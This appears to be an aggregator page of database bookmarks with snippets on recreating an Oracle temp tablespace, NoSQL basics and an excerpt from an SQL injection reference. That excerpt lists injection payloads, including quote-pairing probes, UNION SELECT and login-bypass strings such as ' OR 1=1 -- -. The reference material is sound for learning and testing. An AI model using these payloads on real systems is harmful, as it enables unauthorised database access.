background preloader

Database

Facebook Twitter

GridGain – In-Memory Computing. 9i Database List of Books (Release 2 (9.2)) Recreate Temp Tablespace « Tyo Sites and Notes. Step for recreating Oracle temp Tablespace. Step 1 Create Temporary Tablespace Temp Step 2 Move Default Database temp tablespace [optional step check session that is still using tempfile, to avoid hanging session during drop tempfile tablespace] Step 3 Drop old temp tablespace Step 4 Recreate Tablespace Temp Step 5 Move Tablespace Temp, back to newly created temp tablespace Step 6 Drop temporary for tablespace temp usually shutdown is not necessary however if there is persistent users that still hold on temp tablespaces then restart database is mandatory. this step is also applicable to change undo tablespace in Oracle. but of course with slight modification. Like this: Like Loading...

The SQL Injection Knowledge Base. Default Databases Testing Injection False means the query is invalid (MySQL errors/missing content on website) True means the query is valid (content is displayed as usual) Given the query SELECT * FROM Table WHERE id = '1'; Examples: SELECT * FROM Articles WHERE id = '1'''; SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2'; Notes: You can use as many apostrophes and quotations as you want as long as they pair up. Given the query SELECT * FROM Table WHERE id = 1; Example: SELECT * FROM Users WHERE id = 3-2; true is equal to 1. Given the query SELECT * FROM Table WHERE username = ''; Example: SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = ''; The following can be used to comment out the rest of the query after your injection: Examples: SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = ''; SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`'; Note: The backtick can only be used to end a query when used as an alias.

Testing Version /*! Some Datasets Available on the Web » Data Wrangling Blog. Empire-db relational data persistence. NoSQL : What's in it for me? - Sogeti Labs. NoSQL databases have been under the spotlight for some time now. It’s because in certain use cases they are really better suited. At the beginning of a new project it’s now important to consider all the options for the data storage, and not only relational databases. In some cases the relational option is still the right one, but very often other alternatives can be very efficient, especially for performance, scalability and schema flexibility. So, NoSQL is not just a buzzword. Let’s demystify a few of the NoSQL concepts… What is NoSQL ? First of all “NoSQL” does not mean “No SQL at all” but “Not Only SQL”. In other words, NoSQL is not here to replace existing SQL databases, it just brings another approach for data storage that can be used when a classical “Relational Database” has reached its limits. 1) “key-value” data store This type of database works as a big cache stored on a remote server. 2) “Column-oriented” databases 3) “Document-oriented” databases 4) “Graph” databases Scalability.